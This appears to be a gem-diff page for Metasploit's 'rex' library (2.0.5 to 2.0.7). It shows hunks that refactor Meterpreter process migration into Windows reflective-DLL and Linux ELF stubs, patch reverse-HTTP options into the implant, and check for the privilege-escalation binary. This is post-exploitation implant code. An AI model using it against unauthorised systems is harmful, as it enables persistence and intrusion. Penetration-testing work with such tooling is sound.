rex 2.0.5 → 2.0.7

Sign up to get free protection for your applications and to get access to all the features.
Files changed (98) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex/exploitation/egghunter.rb +4 -6
  3. data/lib/rex/exploitation/powershell/psh_methods.rb +9 -0
  4. data/lib/rex/java/serialization.rb +2 -1
  5. data/lib/rex/java/serialization/builder.rb +94 -0
  6. data/lib/rex/java/serialization/model.rb +29 -18
  7. data/lib/rex/java/serialization/model/annotation.rb +2 -2
  8. data/lib/rex/java/serialization/model/field.rb +2 -2
  9. data/lib/rex/java/serialization/model/new_array.rb +8 -3
  10. data/lib/rex/java/serialization/model/new_class_desc.rb +3 -3
  11. data/lib/rex/java/serialization/model/new_enum.rb +4 -4
  12. data/lib/rex/java/serialization/model/new_object.rb +17 -10
  13. data/lib/rex/ole/direntry.rb +1 -1
  14. data/lib/rex/ole/samples/create_ole.rb +0 -0
  15. data/lib/rex/ole/samples/dir.rb +0 -0
  16. data/lib/rex/ole/samples/dump_stream.rb +0 -0
  17. data/lib/rex/ole/samples/ole_info.rb +0 -0
  18. data/lib/rex/parser/foundstone_nokogiri.rb +1 -1
  19. data/lib/rex/parser/fs/ntfs.rb +252 -0
  20. data/lib/rex/parser/openvas_nokogiri.rb +2 -0
  21. data/lib/rex/payloads/win32/kernel.rb +3 -3
  22. data/lib/rex/post/meterpreter/client_core.rb +172 -64
  23. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +3 -2
  24. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +12 -10
  25. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb +64 -37
  26. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +8 -2
  27. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +15 -3
  28. data/lib/rex/post/meterpreter/packet.rb +41 -38
  29. data/lib/rex/post/meterpreter/packet_dispatcher.rb +7 -1
  30. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +17 -4
  31. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +11 -4
  32. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +1 -1
  33. data/lib/rex/proto.rb +2 -0
  34. data/lib/rex/proto/acpp.rb +17 -0
  35. data/lib/rex/proto/acpp/client.rb +29 -0
  36. data/lib/rex/proto/acpp/message.rb +183 -0
  37. data/lib/rex/proto/http/client.rb +1 -2
  38. data/lib/rex/proto/iax2/call.rb +22 -3
  39. data/lib/rex/proto/iax2/client.rb +1 -0
  40. data/lib/rex/proto/kerberos.rb +13 -0
  41. data/lib/rex/proto/kerberos/client.rb +213 -0
  42. data/lib/rex/proto/kerberos/credential_cache.rb +19 -0
  43. data/lib/rex/proto/kerberos/credential_cache/cache.rb +81 -0
  44. data/lib/rex/proto/kerberos/credential_cache/credential.rb +151 -0
  45. data/lib/rex/proto/kerberos/credential_cache/element.rb +49 -0
  46. data/lib/rex/proto/kerberos/credential_cache/key_block.rb +62 -0
  47. data/lib/rex/proto/kerberos/credential_cache/principal.rb +70 -0
  48. data/lib/rex/proto/kerberos/credential_cache/time.rb +69 -0
  49. data/lib/rex/proto/kerberos/crypto.rb +21 -0
  50. data/lib/rex/proto/kerberos/crypto/rc4_hmac.rb +65 -0
  51. data/lib/rex/proto/kerberos/crypto/rsa_md5.rb +15 -0
  52. data/lib/rex/proto/kerberos/model.rb +133 -0
  53. data/lib/rex/proto/kerberos/model/ap_req.rb +98 -0
  54. data/lib/rex/proto/kerberos/model/authenticator.rb +143 -0
  55. data/lib/rex/proto/kerberos/model/authorization_data.rb +85 -0
  56. data/lib/rex/proto/kerberos/model/checksum.rb +59 -0
  57. data/lib/rex/proto/kerberos/model/element.rb +67 -0
  58. data/lib/rex/proto/kerberos/model/enc_kdc_response.rb +215 -0
  59. data/lib/rex/proto/kerberos/model/encrypted_data.rb +171 -0
  60. data/lib/rex/proto/kerberos/model/encryption_key.rb +106 -0
  61. data/lib/rex/proto/kerberos/model/kdc_request.rb +166 -0
  62. data/lib/rex/proto/kerberos/model/kdc_request_body.rb +315 -0
  63. data/lib/rex/proto/kerberos/model/kdc_response.rb +141 -0
  64. data/lib/rex/proto/kerberos/model/krb_error.rb +219 -0
  65. data/lib/rex/proto/kerberos/model/last_request.rb +82 -0
  66. data/lib/rex/proto/kerberos/model/pre_auth_data.rb +104 -0
  67. data/lib/rex/proto/kerberos/model/pre_auth_enc_time_stamp.rb +126 -0
  68. data/lib/rex/proto/kerberos/model/pre_auth_pac_request.rb +81 -0
  69. data/lib/rex/proto/kerberos/model/principal_name.rb +116 -0
  70. data/lib/rex/proto/kerberos/model/ticket.rb +151 -0
  71. data/lib/rex/proto/kerberos/pac.rb +36 -0
  72. data/lib/rex/proto/kerberos/pac/client_info.rb +53 -0
  73. data/lib/rex/proto/kerberos/pac/element.rb +52 -0
  74. data/lib/rex/proto/kerberos/pac/logon_info.rb +566 -0
  75. data/lib/rex/proto/kerberos/pac/priv_svr_checksum.rb +29 -0
  76. data/lib/rex/proto/kerberos/pac/server_checksum.rb +30 -0
  77. data/lib/rex/proto/kerberos/pac/type.rb +121 -0
  78. data/lib/rex/proto/rmi.rb +7 -0
  79. data/lib/rex/proto/rmi/model.rb +31 -0
  80. data/lib/rex/proto/rmi/model/call.rb +60 -0
  81. data/lib/rex/proto/rmi/model/continuation.rb +76 -0
  82. data/lib/rex/proto/rmi/model/dgc_ack.rb +62 -0
  83. data/lib/rex/proto/rmi/model/element.rb +143 -0
  84. data/lib/rex/proto/rmi/model/output_header.rb +86 -0
  85. data/lib/rex/proto/rmi/model/ping.rb +41 -0
  86. data/lib/rex/proto/rmi/model/ping_ack.rb +41 -0
  87. data/lib/rex/proto/rmi/model/protocol_ack.rb +100 -0
  88. data/lib/rex/proto/rmi/model/return_data.rb +60 -0
  89. data/lib/rex/socket.rb +9 -1
  90. data/lib/rex/socket/tcp_server.rb +3 -0
  91. data/lib/rex/ui/text/dispatcher_shell.rb +4 -4
  92. data/lib/rex/ui/text/output/tee.rb +2 -0
  93. data/lib/rex/zip/samples/comment.rb +0 -0
  94. data/lib/rex/zip/samples/mkwar.rb +0 -0
  95. data/lib/rex/zip/samples/mkzip.rb +0 -0
  96. data/lib/rex/zip/samples/recursive.rb +0 -0
  97. data/rex.gemspec +1 -1
  98. metadata +56 -2
@@ -113,6 +113,8 @@ module Parser
113
113
  return if not in_tag("result")
114
114
  @state[:has_text] = true
115
115
  @text = nil
116
+ else
117
+ @text = nil
116
118
  end
117
119
  @state[:current_tag].delete name
118
120
  end
@@ -24,7 +24,7 @@ module Kernel
24
24
  payload = nil
25
25
 
26
26
  # Generate the recovery stub
27
- if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery'])
27
+ if opts['Recovery'] and Kernel::Recovery.respond_to?(opts['Recovery'], true)
28
28
  opts['RecoveryStub'] = Kernel::Recovery.send(opts['Recovery'], opts)
29
29
  end
30
30
 
@@ -35,10 +35,10 @@ module Kernel
35
35
  end
36
36
 
37
37
  # Generate the stager
38
- if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager'])
38
+ if opts['Stager'] and Kernel::Stager.respond_to?(opts['Stager'], true)
39
39
  payload = Kernel::Stager.send(opts['Stager'], opts)
40
40
  # Or, generate the migrator
41
- elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator'])
41
+ elsif opts['Migrator'] and Kernel::Migration.respond_to?(opts['Migrator'], true)
42
42
  payload = Kernel::Migration.send(opts['Migrator'], opts)
43
43
  else
44
44
  raise ArgumentError, "A stager or a migrator must be specified."
@@ -25,6 +25,9 @@ module Meterpreter
25
25
  ###
26
26
  class ClientCore < Extension
27
27
 
28
+ UNIX_PATH_MAX = 108
29
+ DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
30
+
28
31
  #
29
32
  # Initializes the 'core' portion of the meterpreter client commands.
30
33
  #
@@ -68,18 +71,18 @@ class ClientCore < Extension
68
71
  load_flags = LOAD_LIBRARY_FLAG_LOCAL
69
72
 
70
73
  # No library path, no cookie.
71
- if (library_path == nil)
74
+ if library_path.nil?
72
75
  raise ArgumentError, "No library file path was supplied", caller
73
76
  end
74
77
 
75
78
  # Set up the proper loading flags
76
- if (opts['UploadLibrary'])
79
+ if opts['UploadLibrary']
77
80
  load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
78
81
  end
79
- if (opts['SaveToDisk'])
82
+ if opts['SaveToDisk']
80
83
  load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
81
84
  end
82
- if (opts['Extension'])
85
+ if opts['Extension']
83
86
  load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
84
87
  end
85
88
 
@@ -87,14 +90,14 @@ class ClientCore < Extension
87
90
  request = Packet.create_request('core_loadlib')
88
91
 
89
92
  # If we must upload the library, do so now
90
- if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
93
+ if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
91
94
  image = ''
92
95
 
93
96
  ::File.open(library_path, 'rb') { |f|
94
97
  image = f.read
95
98
  }
96
99
 
97
- if (image != nil)
100
+ if !image.nil?
98
101
  request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
99
102
  else
100
103
  raise RuntimeError, "Failed to serialize library #{library_path}.", caller
@@ -103,7 +106,7 @@ class ClientCore < Extension
103
106
  # If it's an extension we're dealing with, rename the library
104
107
  # path of the local and target so that it gets loaded with a random
105
108
  # name
106
- if (opts['Extension'])
109
+ if opts['Extension']
107
110
  library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
108
111
  target_path = library_path
109
112
  end
@@ -113,7 +116,7 @@ class ClientCore < Extension
113
116
  request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
114
117
  request.add_tlv(TLV_TYPE_FLAGS, load_flags)
115
118
 
116
- if (target_path != nil)
119
+ if !target_path.nil?
117
120
  request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
118
121
  end
119
122
 
@@ -121,9 +124,9 @@ class ClientCore < Extension
121
124
  response = self.client.send_packet_wait_response(request, self.client.response_timeout)
122
125
 
123
126
  # No response?
124
- if (response == nil)
127
+ if response.nil?
125
128
  raise RuntimeError, "No response was received to the core_loadlib request.", caller
126
- elsif (response.result != 0)
129
+ elsif response.result != 0
127
130
  raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
128
131
  end
129
132
 
@@ -147,7 +150,7 @@ class ClientCore < Extension
147
150
  # memory on the remote machine
148
151
  #
149
152
  def use(mod, opts = { })
150
- if (mod == nil)
153
+ if mod.nil?
151
154
  raise RuntimeError, "No modules were specified", caller
152
155
  end
153
156
  # Get us to the installation root and then into data/meterpreter, where
@@ -155,11 +158,13 @@ class ClientCore < Extension
155
158
  modname = "ext_server_#{mod.downcase}"
156
159
  path = MeterpreterBinaries.path(modname, client.binary_suffix)
157
160
 
158
- if (opts['ExtensionPath'])
159
- path = opts['ExtensionPath']
161
+ if opts['ExtensionPath']
162
+ path = ::File.expand_path(opts['ExtensionPath'])
160
163
  end
161
164
 
162
- path = ::File.expand_path(path)
165
+ if path.nil?
166
+ raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
167
+ end
163
168
 
164
169
  # Load the extension DLL
165
170
  commands = load_library(
@@ -176,84 +181,86 @@ class ClientCore < Extension
176
181
  # Migrates the meterpreter instance to the process specified
177
182
  # by pid. The connection to the server remains established.
178
183
  #
179
- def migrate( pid )
184
+ def migrate(pid, writable_dir = nil)
180
185
  keepalive = client.send_keepalives
181
186
  client.send_keepalives = false
182
187
  process = nil
183
188
  binary_suffix = nil
189
+ old_platform = client.platform
190
+ old_binary_suffix = client.binary_suffix
184
191
 
185
192
  # Load in the stdapi extension if not allready present so we can determine the target pid architecture...
186
193
  client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
187
194
 
188
195
  # Determine the architecture for the pid we are going to migrate into...
189
196
  client.sys.process.processes.each { | p |
190
- if( p['pid'] == pid )
197
+ if p['pid'] == pid
191
198
  process = p
192
199
  break
193
200
  end
194
201
  }
195
202
 
196
203
  # We cant migrate into a process that does not exist.
197
- if( process == nil )
204
+ if process.nil?
198
205
  raise RuntimeError, "Cannot migrate into non existent process", caller
199
206
  end
200
207
 
201
- # We cant migrate into a process that we are unable to open
202
- if( process['arch'] == nil or process['arch'].empty? )
203
- raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
208
+ # We cannot migrate into a process that we are unable to open
209
+ # On linux, arch is empty even if we can access the process
210
+ if client.platform =~ /win/
211
+ if process['arch'] == nil || process['arch'].empty?
212
+ raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
213
+ end
204
214
  end
205
215
 
206
- # And we also cant migrate into our own current process...
207
- if( process['pid'] == client.sys.process.getpid )
216
+ # And we also cannot migrate into our own current process...
217
+ if process['pid'] == client.sys.process.getpid
208
218
  raise RuntimeError, "Cannot migrate into current process", caller
209
219
  end
210
220
 
211
- # Create a new payload stub
212
- c = Class.new( ::Msf::Payload )
213
- c.include( ::Msf::Payload::Stager )
221
+ if client.platform =~ /linux/
222
+ if writable_dir.blank?
223
+ writable_dir = tmp_folder
224
+ end
214
225
 
215
- # Include the appropriate reflective dll injection module for the target process architecture...
216
- if( process['arch'] == ARCH_X86 )
217
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
218
- binary_suffix = "x86.dll"
219
- elsif( process['arch'] == ARCH_X86_64 )
220
- c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
221
- binary_suffix = "x64.dll"
222
- else
223
- raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
226
+ stat_dir = client.fs.filestat.new(writable_dir)
227
+
228
+ unless stat_dir.directory?
229
+ raise RuntimeError, "Directory #{writable_dir} not found", caller
230
+ end
231
+ # Rex::Post::FileStat#writable? isn't available
224
232
  end
225
233
 
226
- # Create the migrate stager
227
- migrate_stager = c.new()
228
- migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix)
234
+ blob = generate_payload_stub(process)
229
235
 
230
- blob = migrate_stager.stage_payload
236
+ # Build the migration request
237
+ request = Packet.create_request( 'core_migrate' )
231
238
 
232
- if client.passive_service
239
+ if client.platform =~ /linux/i
240
+ socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
233
241
 
234
- #
235
- # Patch options into metsrv for reverse HTTP payloads
236
- #
237
- Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
238
- :ssl => client.ssl,
239
- :url => self.client.url,
240
- :expiration => self.client.expiration,
241
- :comm_timeout => self.client.comm_timeout,
242
- :ua => client.exploit_datastore['MeterpreterUserAgent'],
243
- :proxyhost => client.exploit_datastore['PROXYHOST'],
244
- :proxyport => client.exploit_datastore['PROXYPORT'],
245
- :proxy_type => client.exploit_datastore['PROXY_TYPE'],
246
- :proxy_username => client.exploit_datastore['PROXY_USERNAME'],
247
- :proxy_password => client.exploit_datastore['PROXY_PASSWORD']
242
+ if socket_path.length > UNIX_PATH_MAX - 1
243
+ raise RuntimeError, "The writable dir is too long", caller
244
+ end
245
+
246
+ pos = blob.index(DEFAULT_SOCK_PATH)
247
+
248
+ if pos.nil?
249
+ raise RuntimeError, "The meterpreter binary is wrong", caller
250
+ end
248
251
 
252
+ blob[pos, socket_path.length + 1] = socket_path + "\x00"
253
+
254
+ ep = elf_ep(blob)
255
+ request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
256
+ request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
257
+ request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
249
258
  end
250
259
 
251
- # Build the migration request
252
- request = Packet.create_request( 'core_migrate' )
253
260
  request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
254
261
  request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
255
262
  request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
256
- if( process['arch'] == ARCH_X86_64 )
263
+ if process['arch'] == ARCH_X86_64
257
264
  request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
258
265
  else
259
266
  request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
@@ -298,15 +305,28 @@ class ClientCore < Extension
298
305
  end
299
306
  end
300
307
 
301
- # Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
302
- # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
303
- # If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
304
- if( process['arch'] == ARCH_X86_64 )
305
- client.platform = 'x64/win64'
306
- client.binary_suffix = 'x64.dll'
308
+ # Update the meterpreter platform/suffix for loading extensions as we may
309
+ # have changed target architecture
310
+ # sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
311
+ # module this is the simplest solution I could think of. If the platform
312
+ # specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
313
+ # significantly we will need a better way to do this.
314
+
315
+ case client.platform
316
+ when /win/i
317
+ if process['arch'] == ARCH_X86_64
318
+ client.platform = 'x64/win64'
319
+ client.binary_suffix = 'x64.dll'
320
+ else
321
+ client.platform = 'x86/win32'
322
+ client.binary_suffix = 'x86.dll'
323
+ end
324
+ when /linux/i
325
+ client.platform = 'x86/linux'
326
+ client.binary_suffix = 'lso'
307
327
  else
308
- client.platform = 'x86/win32'
309
- client.binary_suffix = 'x86.dll'
328
+ client.platform = old_platform
329
+ client.binary_suffix = old_binary_suffix
310
330
  end
311
331
 
312
332
  # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
@@ -339,6 +359,94 @@ class ClientCore < Extension
339
359
  true
340
360
  end
341
361
 
362
+ private
363
+
364
+ def generate_payload_stub(process)
365
+ case client.platform
366
+ when /win/i
367
+ blob = generate_windows_stub(process)
368
+ when /linux/i
369
+ blob = generate_linux_stub
370
+ else
371
+ raise RuntimeError, "Unsupported platform '#{client.platform}'"
372
+ end
373
+
374
+ blob
375
+ end
376
+
377
+ def generate_windows_stub(process)
378
+ c = Class.new( ::Msf::Payload )
379
+ c.include( ::Msf::Payload::Stager )
380
+
381
+ # Include the appropriate reflective dll injection module for the target process architecture...
382
+ if process['arch'] == ARCH_X86
383
+ c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
384
+ binary_suffix = "x86.dll"
385
+ elsif process['arch'] == ARCH_X86_64
386
+ c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
387
+ binary_suffix = "x64.dll"
388
+ else
389
+ raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
390
+ end
391
+
392
+ # Create the migrate stager
393
+ migrate_stager = c.new()
394
+
395
+ dll = MeterpreterBinaries.path('metsrv',binary_suffix)
396
+ if dll.nil?
397
+ raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
398
+ end
399
+ migrate_stager.datastore['DLL'] = dll
400
+
401
+ blob = migrate_stager.stage_payload
402
+
403
+ if client.passive_service
404
+
405
+ #
406
+ # Patch options into metsrv for reverse HTTP payloads
407
+ #
408
+ Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
409
+ :ssl => client.ssl,
410
+ :url => self.client.url,
411
+ :expiration => self.client.expiration,
412
+ :comm_timeout => self.client.comm_timeout,
413
+ :ua => client.exploit_datastore['MeterpreterUserAgent'],
414
+ :proxyhost => client.exploit_datastore['PROXYHOST'],
415
+ :proxyport => client.exploit_datastore['PROXYPORT'],
416
+ :proxy_type => client.exploit_datastore['PROXY_TYPE'],
417
+ :proxy_username => client.exploit_datastore['PROXY_USERNAME'],
418
+ :proxy_password => client.exploit_datastore['PROXY_PASSWORD']
419
+
420
+ end
421
+
422
+ blob
423
+ end
424
+
425
+ def generate_linux_stub
426
+ file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
427
+ blob = ::File.open(file, "rb") {|f|
428
+ f.read(f.stat.size)
429
+ }
430
+
431
+ blob
432
+ end
433
+
434
+ def elf_ep(payload)
435
+ elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
436
+ ep = elf.elf_header.e_entry
437
+ return ep
438
+ end
439
+
440
+ def tmp_folder
441
+ tmp = client.sys.config.getenv('TMPDIR')
442
+
443
+ if tmp.blank?
444
+ tmp = '/tmp'
445
+ end
446
+
447
+ tmp
448
+ end
449
+
342
450
  end
343
451
 
344
452
  end; end; end
@@ -46,8 +46,9 @@ class Priv < Extension
46
46
  elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
47
47
 
48
48
  elevator_path = MeterpreterBinaries.path('elevator', client.binary_suffix)
49
-
50
- elevator_path = ::File.expand_path( elevator_path )
49
+ if elevator_path.nil?
50
+ raise RuntimeError, "elevator.#{binary_suffix} not found", caller
51
+ end
51
52
 
52
53
  elevator_data = ""
53
54
 
@@ -203,10 +203,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
203
203
  alias delete rm
204
204
  end
205
205
 
206
- #
207
- # Performs a rename from oldname to newname
208
- #
209
- def File.mv(oldname, newname)
206
+ #
207
+ # Performs a rename from oldname to newname
208
+ #
209
+ def File.mv(oldname, newname)
210
210
  request = Packet.create_request('stdapi_fs_file_move')
211
211
 
212
212
  request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
@@ -215,12 +215,12 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
215
215
  response = client.send_request(request)
216
216
 
217
217
  return response
218
- end
218
+ end
219
219
 
220
- class << self
221
- alias move mv
222
- alias rename mv
223
- end
220
+ class << self
221
+ alias move mv
222
+ alias rename mv
223
+ end
224
224
 
225
225
  #
226
226
  # Upload one or more files to the remote remote directory supplied in
@@ -246,9 +246,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
246
246
  #
247
247
  # Upload a single file.
248
248
  #
249
- def File.upload_file(dest_file, src_file)
249
+ def File.upload_file(dest_file, src_file, &stat)
250
250
  # Open the file on the remote side for writing and read
251
251
  # all of the contents of the local file
252
+ stat.call('uploading', src_file, dest_file) if (stat)
252
253
  dest_fd = client.fs.file.new(dest_file, "wb")
253
254
  src_buf = ''
254
255
 
@@ -261,6 +262,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
261
262
  ensure
262
263
  dest_fd.close
263
264
  end
265
+ stat.call('uploaded', src_file, dest_file) if (stat)
264
266
  end
265
267
 
266
268
  #